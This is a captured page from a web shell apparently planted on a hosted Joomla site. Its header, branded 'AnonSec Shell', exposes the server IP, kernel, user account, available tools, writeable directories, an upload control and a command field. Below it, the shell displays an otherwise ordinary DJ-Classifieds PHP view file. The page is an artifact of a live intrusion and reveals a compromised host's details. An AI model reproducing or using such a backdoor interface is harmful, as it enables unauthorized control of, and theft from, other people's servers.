AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/brest/components/com_djclassifieds/views/additem/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/brest/components/com_djclassifieds/views/additem/view.html.php
<?php
/**
 * @package DJ-Classifieds
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined ('_JEXEC') or die('Restricted access');

class DJClassifiedsViewAdditem extends JViewLegacy
{
	private static $_viewname = 'additem';

	public function __construct($config = array())
	{
		parent::__construct($config);
		$par = JFactory::getApplication()->getParams('com_djclassifieds');
		
		$this->_addPath('template', JPATH_ROOT.'/components/com_djclassifieds/themes/'.$par->get('theme','default').'/views/'.self::$_viewname);
	}
	
	function display($tpl = NULL)
	{
		$app = JFactory::getApplication();
		$doc = JFactory::getDocument();
		$user = JFactory::getUser();
		$menus = $app->getMenu('site');	
		$par = $app->getParams('com_djclassifieds');
		
		$id	= ($menus->getActive() && $menus->getActive()->link == 'index.php?option=com_djclassifieds&view=additem') ? $app->input->getInt('id', 0) : DJClassifiedsSEO::getVarFromUriPath('id'); // new ad with id var in request workaround
		$copy = $app->input->getInt('copy', 0);
		$token = $app->input->getCMD('token', '');
		$subscr_id = $app->input->getInt('subscr_id',0);

		$post_data = (!$id && !$copy && !$token) ? $app->getUserState('djcf.additem.data') : null;

		$app->triggerEvent('onBeforeItemEditForm', array (&$id, &$par, &$subscr_id, &$token));

		if($par->get('user_type')==1 && !$user->id){
			DJClassifiedsSEO::redirectLogIn();
		}

		$model = $this->getModel();
		if($user->id && $par->get('adverts_limit','0')>0 && !$id && !$token && !$subscr_id){					
			$user_items_c = $model->getUserItemsCount($user->id);
			if($user_items_c >= $par->get('adverts_limit','0')){
				$app->enqueueMessage(JText::_('COM_DJCLASSIFIEDS_REACHED_LIMIT_OF_ADVERTS'), 'error');
				$app->redirect(JRoute::_(DJClassifiedsSEO::getViewUri('useritems'),false));
			}
		}
		
		if(!$id && !DJClassifiedsAccess::checkAdsLimits($par)){
			$app->redirect(JURI::base());
		}

		$this->captcha = null;
		if(!$id && !$token && ($par->get('captcha','0')==1 || ($par->get('captcha','0')==2 && !$user->id))){
			if($par->get('captcha_newad_placement','0')=='0'){
				if(!$app->getUserState('captcha_sta','0')){
					$this->captcha = DJClassifiedsAccess::renderCaptcha();
					parent::display('captcha');
					return;
				}
			}else{
				$this->captcha = DJClassifiedsAccess::renderCaptcha();
			}
		}

		$item = $model->getItem($id, $post_data, $par);
		$images = $model->getItemImages($item->id);
		$cats = $model->getCategories($par->get('cat_ordering', 'ordering'));

		if(($id || $token) && $item->auction && $par->get('auction_edit_lock') && !DJClassifiedsAccess::canEditAuctionItem($item, $par)){
			DJCLassifiedsSEO::redirectWrongItem(DJClassifiedsSEO::getViewUri('useritems'), 'COM_DJCLASSIFIEDS_AUCTION_EDIT_LOCK_MESSAGE', 'warning');
		}
		if(($id || $token) && $item->buynow && $par->get('buynow_edit_lock') && !DJClassifiedsAccess::canEditBuynowItem($item, $par)){
			DJCLassifiedsSEO::redirectWrongItem(DJClassifiedsSEO::getViewUri('useritems'), 'COM_DJCLASSIFIEDS_BUYNOW_EDIT_LOCK_MESSAGE', 'warning');
		}

		if(!$item->id){
			$default_cat_id = $app->input->getInt('cid', 0) ? $app->input->getInt('cid') : $par->get('default_cat_id', 0);
			if($default_cat_id){
				$item->cat_id = $default_cat_id;
			}
		}

		foreach(DJClassifiedsCategory::getParentPath(1, $item->cat_id) as $cp){
			if($cp->theme){
				$this->_addPath('template', JPATH_ROOT.'/components/com_djclassifieds/themes/'.$cp->theme.'/views/additem');
			}
		}

		if(!$item->id){
			if(!$item->cat_id && $par->get('preselect_last_cat',0)){													
				$item->cat_id = $app->input->cookie->get('djcf_lastcat', '');
			}
			$item = $model->getProfileDefaultValues($item);
		}
		
		$regions = $model->getRegions($par->get('reg_ordering', 'ordering,name'));
		
		if(!$item->id && !$item->region_id && DJClassifiedsRegion::getDefaultRegion()){
			$item->region_id = DJClassifiedsRegion::getDefaultRegion();
		}

		$reg_path = $model->getTreePathArray($item->region_id, $regions, true); // backward compatibility
		$this->reg_path_arr = $model->getTreePathArray($item->region_id, $regions);

		if($item->description && ($par->get('desc_editor','1')=='0' || $par->get('pay_desc_chars','0')=='1')){
			$item->description = str_ireplace(array('<br /> ','<br />','<br>','<br/>'), "\r\n", $item->description);
		}

		if(!$id && !$token){
			$item->quantity = 1;
		}

		$terms_link = '';
		if($par->get('terms',1)>0 && $par->get('terms_article_id',0)>0 && !$id){
			$terms_link = $model->getTermsLink($par->get('terms_article_id',0), $par->get('terms',0)==2);
		}
		
		$privacy_policy_link = '';
		if($par->get('privacy_policy',0)>0 && $par->get('privacy_policy_article_id',0)>0 && !$id){
			$privacy_policy_link = $model->getTermsLink($par->get('privacy_policy_article_id',0), $par->get('privacy_policy',0)==2);
		}
	
		$days = $par->get('durations_list',1) ? $model->getDays() : array();
		
		$promotions = array();
		$item_promotions = array();
		if($par->get('promotion')=='1'){
			$promotions = $model->getPromotionsPrices($item, $post_data);
			$item_promotions = $model->getItemPromotions($item->id);
		}
		
		$types = $par->get('types_display_layout','0')==1 ? DJClassifiedsType::getTypesLabels(true) : DJClassifiedsType::getTypesSelect(true);

		DJClassifiedsTheme::includeDJImageAssets();
		DJClassifiedsTheme::includeCalendarScripts();
		DJClassifiedsTheme::includeMapsScript($par);
		JHTML::_('bootstrap.tooltip');
		\Joomla\CMS\HTML\HTMLHelper::_('bootstrap.modal'); // show_in_modal fields
		if($par->get('img_limit','3') > 0){
			$theme_js_path = '/components/com_djclassifieds/themes/'.$par->get('theme','default').'/js/';
			if(file_exists(JPATH_ROOT.$theme_js_path.'djuploader.js')){
				$doc->addScript(JURI::root(true).$theme_js_path.'djuploader.js', array('version' => 'auto'), array('defer' => 'defer'));
			}else{
				$doc->addScript(JURI::root(true).'/components/com_djclassifieds/assets/js/djuploader.js', array('version' => 'auto'), array('defer' => 'defer'));
			}
		}

		if($par->get('ad_preview','0')=='2' && !(!$item->id || $item->new || $item->new_draft)){
			$par->set('ad_preview','0');
		}
		
		if($par->get('ad_preview','0')){
			$doc->addScriptDeclaration("jQuery(function($){
				jQuery('#dj-classifieds #submit_button').on('click', function(e, opts){
					if(typeof opts === 'undefined' || !opts.preview){
						jQuery('[name=\"prev_val\"]').remove();
					}
				});
				jQuery('#dj-classifieds #preview_button').on('click', function(){
					jQuery(this).after('<input type=\"hidden\" name=\"prev_val\" value=\"1\" />');
					jQuery('#dj-classifieds #submit_button').trigger('click', {preview: true});
				});
			});");
		}

		if(DJClassifiedsAccess::isCatLocked($item)){ // prevent users from changing category bound with own duration
			$doc->addScriptDeclaration("
				jQuery(document).ready(function($){
					if($('[name=\"exp_days\"]').length){
						return;
					}
					var new_content = '<div style=\'opacity:0.7\' class=\'disabled_cat_info\'>".DJClassifiedsTheme::sanitizeText(JText::_('COM_DJCLASSIFIEDS_LOCKED_CAT_INFO'))."</div>';
					jQuery('#cat_0').closest('.djform_row').append(new_content).addClass('locked_cat');
					var cat_id = jQuery('select[name=\'cats[]\']').val();
					if(cat_id){
						new_content = '<input type=\'hidden\' name=\'cats[]\' value=\''+cat_id+'\'>';
						jQuery('#cat_0').closest('.djform_field').append(new_content);
					}
					
					if(typeof MooTools !== 'undefined'){ // backward compatibility
						var orig = {
							onSuccess: Request.prototype.onSuccess,
							onFailure: Request.prototype.onFailure
						};
						var changes = {
							onSuccess: function(){
								orig.onSuccess.apply(this, arguments);
								var call = jQuery(this)[0].options.data;
								if(call.option == 'com_djclassifieds' && call.view == 'additem' && call.task == 'getCategorySelect' && typeof call.mc === 'undefined'){
									var cat_id = jQuery(this)[0].options.data.cat_id;
									var new_content = '<input type=\'hidden\' name=\'cats[]\' value=\''+cat_id+'\'>';		
									jQuery('#cat_0').closest('.djform_field').append(new_content);
									jQuery('select[name=\'cats[]\']').prop('disabled',true);
								}
							}
						};
						[Request].invoke('implement', changes);
					}

					jQuery(document).on('djclassifieds.loaded', function(event, params){
						if(params.ajax_data.option == 'com_djclassifieds' && params.ajax_data.view == 'additem' && params.ajax_data.task == 'getCategorySelect' && typeof params.ajax_data.mc === 'undefined'){
							var cat_id = params.ajax_data.cat_id;
							var new_content = '<input type=\'hidden\' name=\'cats[]\' value=\''+cat_id+'\'>';		
							jQuery('#cat_0').closest('.djform_field').append(new_content);
							jQuery('select[name=\'cats[]\']').prop('disabled',true);
						}
					});
				});
			");
		}

		if($item->auction_assist && $model->getBids($item->id)){ // if bids submitted - disallow disabling auctions assist
			$par->set('auctions_assist','1');
		}
		
		$app->triggerEvent('onItemEditForm', array (&$item, &$par, $subscr_id, &$promotions, &$cats, &$types));
		$plugin_title = $app->triggerEvent('onItemEditFormTitle', array (&$item, &$par, $subscr_id));
		$plugin_category = $app->triggerEvent('onItemEditFormCategory', array (&$item, &$cats, &$par, $subscr_id));
		$plugin_region = $app->triggerEvent('onItemEditFormRegion', array (&$item, &$regions, &$par, $subscr_id));
		$plugin_rows = $app->triggerEvent('onItemEditFormRows', array (&$item, &$par, $subscr_id));
		$plugin_sections = $app->triggerEvent('onItemEditFormSections', array (&$item, &$par, $subscr_id));
		$plugin_promotions = $app->triggerEvent('onItemEditFormPromotions', array (&$item, &$par, $subscr_id, &$promotions));

		$this->one_cat_only = ($par->get('default_cat_id', 0) && $par->get('default_cat_id_only', 0) && $item->cat_id) ? $item->cat_id : $model->isOneCatOnly($cats);
		if($this->one_cat_only && !DJClassifiedsAccess::checkCatAdsLimits(array($this->one_cat_only), $item->id)){
			$app->redirect(JRoute::_(DJClassifiedsSEO::getViewUri('useritems'), false));
		}
		
		$cat_path = $model->getTreePathArray($item->cat_id, $cats, true); // backward compatibility
		$this->cat_path_arr = $model->getTreePathArray($item->cat_id, $cats);
		
		if($par->get('buynow','0')){
			$this->item_units = $model->getItemsUnits();
		}

		$this->points_used_by_user = $model->pointsUsedByUser($user);

		if(($id || $token || $app->input->getInt('copy', 0)) && floatval($item->latitude) && floatval($item->longitude)){
			$this->lat = $item->latitude;
			$this->lon = $item->longitude;
		}else if($app->input->cookie->get('djcf_latlon')){
			$lat_lon = explode('_', $app->input->cookie->get('djcf_latlon'));
			$this->lat = $lat_lon[0];
			$this->lon = $lat_lon[1];
		}else{
			$loc_coord = DJClassifiedsGeocode::getLocation($par->get('map_lat_lng_address','England, London'));
			$this->lat = !empty($loc_coord) ? $loc_coord['lat'] : '';
			$this->lon = !empty($loc_coord) ? $loc_coord['lng'] : '';
		}

		$this->cancel_link = $model->getCancelLink($item->id);

		DJClassifiedsField::setParamsForOverwritableFields($par);

		DJClassifiedsSEO::setMeta();
		DJClassifiedsSEO::setSiteNameInPageTitle();
		$this->page_heading = DJClassifiedsSEO::getPageHeading($par);
		
		$this->item = $item;
		$this->promotions = $promotions;
		$this->item_promotions = $item_promotions;
		$this->images = $images;
		$this->cats = $cats;
		$this->cat_path = $cat_path;
		$this->regions = $regions;
		$this->reg_path = $reg_path;
		$this->terms_link = $terms_link;
		$this->privacy_policy_link = $privacy_policy_link;
		$this->days = $days;
		$this->plugin_title = $plugin_title;
		$this->plugin_category = $plugin_category;
		$this->plugin_region = $plugin_region;
		$this->plugin_rows = $plugin_rows;
		$this->plugin_sections = $plugin_sections;
		$this->plugin_promotions = $plugin_promotions;
		$this->subscr_id = $subscr_id;
		$this->types = $types;
		$this->par = $par;
		
		parent::display();
	}
}

Anon7 - 2022
AnonSec Team